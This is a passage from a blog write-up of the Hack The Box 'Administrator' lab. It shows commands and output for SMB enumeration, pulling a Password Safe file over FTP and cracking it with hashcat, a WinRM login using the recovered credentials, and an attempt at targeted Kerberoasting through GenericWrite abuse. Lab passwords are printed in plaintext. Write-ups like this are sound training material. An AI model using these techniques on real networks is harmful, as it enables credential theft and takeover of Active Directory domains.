  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/administrator</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">crackmapexec smb 10.129.85.158 -u 'benjamin' -p 'letmeinagain123' --shares</span>
<span class="cmd-output">
SMB         10.129.85.158   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.129.85.158   445    DC               [+] administrator.htb\benjamin:letmeinagain123 
SMB         10.129.85.158   445    DC               [+] Enumerated shares
SMB         10.129.85.158   445    DC               Share           Permissions     Remark
SMB         10.129.85.158   445    DC               -----           -----------     ------
SMB         10.129.85.158   445    DC               ADMIN$                          Remote Admin
SMB         10.129.85.158   445    DC               C$                              Default share
SMB         10.129.85.158   445    DC               IPC$            READ            Remote IPC
SMB         10.129.85.158   445    DC               NETLOGON        READ            Logon server share 
SMB         10.129.85.158   445    DC               SYSVOL          READ            Logon server share
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<hr />
<h2 id="escalation-from-benjamin">Escalation from <code class="language-plaintext highlighter-rouge">benjamin</code>:</h2>
<h3 id="tcp21---ftp-1">TCP21 - FTP:</h3>

<p>The FTP share can also be now accessed with <code class="language-plaintext highlighter-rouge">benjamin</code>’s credentials, and it contains a single <code class="language-plaintext highlighter-rouge">.psafe3</code> file.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/administrator</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">ftp 10.129.85.158</span>
<span class="cmd-output">
Connected to 10.129.85.158.
220 Microsoft FTP Service
Name (10.129.85.158:ch3ng): benjamin
331 Password required
Password: 
230 User logged in.
Remote system type is Windows_NT.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">ftp&gt;</span></span> <span class="custom-cmd">dir</span>

<span class="custom-output">229 Entering Extended Passive Mode (|||55341|)
125 Data connection already open; Transfer starting.
10-05-24  08:13AM                  952 Backup.psafe3
226 Transfer complete.</span></pre>
  </div>
</div>

<p>It’s a database file used by <a href="https://pwsafe.org/">Password Safe</a>.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/administrator</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">file Backup.psafe3</span>
<span class="cmd-output">
Backup.psafe3: Password Safe V3 database
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Its content are encrypted, but I discovered from a Google search that <code class="language-plaintext highlighter-rouge">hashcat</code> has a module for it:</p>

<p><img src="/assets/images/posts/administrator/11.png" alt="" /></p>

<p>The file can be thrown directly at <code class="language-plaintext highlighter-rouge">hashcat</code> without further formatting, and the master password is cracked to be <code class="language-plaintext highlighter-rouge">tekieromucho</code>.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/administrator</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">hashcat -a 0 Backup.psafe3 /usr/share/wordlists/rockyou.txt -m 5200</span>
<span class="cmd-output">
hashcat (v6.2.6) starting

..SNIP..

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

<span style="color: lightgreen;">Backup.psafe3:tekieromucho</span>
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5200 (Password Safe v3)
Hash.Target......: Backup.psafe3
Time.Started.....: Wed Jan  8 13:21:54 2025 (1 sec)
Time.Estimated...: Wed Jan  8 13:21:55 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    18359 H/s (5.69ms) @ Accel:512 Loops:128 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 8192/14344385 (0.06%)
Rejected.........: 0/8192 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:2048-2049
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -&gt; whitetiger

Started: Wed Jan  8 13:21:24 2025
Stopped: Wed Jan  8 13:21:57 2025
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>On my Windows host, I installed Password Safe and opened the database using the cracked master password. It contains credentials for 3 users: <code class="language-plaintext highlighter-rouge">alexander</code>, <code class="language-plaintext highlighter-rouge">emma</code>, and <code class="language-plaintext highlighter-rouge">emily</code>. Unfortunately Password Safe prevents screenshots, so I’m unable to provide any images here.</p>

<p>I went back to BloodHound to check the three accounts. <code class="language-plaintext highlighter-rouge">alexander</code> and <code class="language-plaintext highlighter-rouge">emma</code> are both disabled accounts, but <code class="language-plaintext highlighter-rouge">emily</code> is active, and her creds can be used to log in to WinRM.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/administrator</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">evil-winrm -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' -i administrator.htb</span>
<span class="cmd-output">
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\emily\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">whoami</span>

<span class="win-output">administrator\emily</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<h3 id="user-flag">User Flag:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\emily\desktop</span><span class="win-char">&gt;</span></span> <span class="win-cmd">type user.txt</span>

<span class="win-output">35690287************************</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<hr />
<h2 id="escalation-from-emily">Escalation from <code class="language-plaintext highlighter-rouge">emily</code>:</h2>
<h3 id="bloodhound-path-finding">BloodHound Path Finding:</h3>

<p>With a new user under control, I’ll once again query BloodHound to see what nodes it can get to. First thing I noticed is that <code class="language-plaintext highlighter-rouge">emily</code> can reach 10 high value targets:</p>

<p><img src="/assets/images/posts/administrator/12.png" alt="" /></p>

<p>Clicking on it shows an attack graph. While it looks a bit complicated, it only involves two steps. <code class="language-plaintext highlighter-rouge">emily</code> has <code class="language-plaintext highlighter-rouge">GenericWrite</code> rights on <code class="language-plaintext highlighter-rouge">ethan</code>, who can perform a DCSync attack.</p>

<p><img src="/assets/images/posts/administrator/13.png" alt="" /></p>

<h3 id="dacl-abuse---genericwrite">DACL Abuse - <code class="language-plaintext highlighter-rouge">GenericWrite</code>:</h3>

<p><img src="/assets/images/posts/administrator/14.png" alt="" /></p>

<p>Users granted <code class="language-plaintext highlighter-rouge">GenericWrite</code> rights on an object have the ability to modify most of its attributes including its <code class="language-plaintext highlighter-rouge">servicePrincipalName</code> (SPN). An <a href="https://learn.microsoft.com/en-us/windows/win32/ad/service-principal-names">SPN</a> is a unique identifier of a service instance within Active Directory, enabling clients to request a <a href="https://www.thehacker.recipes/ad/movement/kerberos/#tickets">Service Ticket</a> (ST) from the KDC for that service. Users can also be assigned SPNs, and if attackers gain control over it, they can leverage it to launch targeted Kerberoasting attacks.</p>

<h3 id="targeted-kerberoasting">Targeted Kerberoasting:</h3>

<p>When requesting a Service Ticket, the requesting user needs to provide a valid TGT and the SPN of the desired service. If both are valid, the KDC returns an ST that’s encrypted with the service account’s password hash. The ticket can then be cracked offline to recover the service account’s password, and this is the core concept of a <a href="https://www.thehacker.recipes/ad/movement/kerberos/kerberoast">Kerberoasting attack</a>.</p>

<p>An ST can only be requested for accounts with SPN registered, and a <a href="https://trustmarque.com/resources/what-is-targeted-keberoasting/">Targeted Kerberoasting</a> would first use rights such as <code class="language-plaintext highlighter-rouge">GenericWrite</code> to assign the target an SPN before continuing with the standard Kerberoasting attack. This is normally required when targeting normal user accounts, as they typically don’t have an SPN registered.</p>

<p><a href="https://www.hackingarticles.in/abusing-ad-dacl-genericwrite/">This post</a> provides several attack examples, one of which uses <a href="https://github.com/ShutdownRepo/targetedKerberoast">targetedKerberoast.py</a>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/administrator</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">python targetedKerberoast.py --dc-ip '10.129.85.158' -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' --request-user ethan</span>
<span class="cmd-output">
[*] Starting kerberoast attacks
[*] Attacking user (ethan)
[!] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
Traceback (most recent call last):
  File "/home/chengw/Desktop/hack/htb/machines/administrator/post-exploitation/targetedKerberoast.py", line 597, in main
    tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=userName, password=args.auth_password, domain=args.auth_domain, lmhash=None, nthash=auth_nt_hash,
                                             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/impacket/krb5/kerberosv5.py", line 323, in getKerberosTGT
    tgt = sendReceive(encoder.encode(asReq), domain, kdcHost)
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/impacket/krb5/kerberosv5.py", line 93, in sendReceive
    raise krbError
impacket.krb5.kerberosv5.KerberosError: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
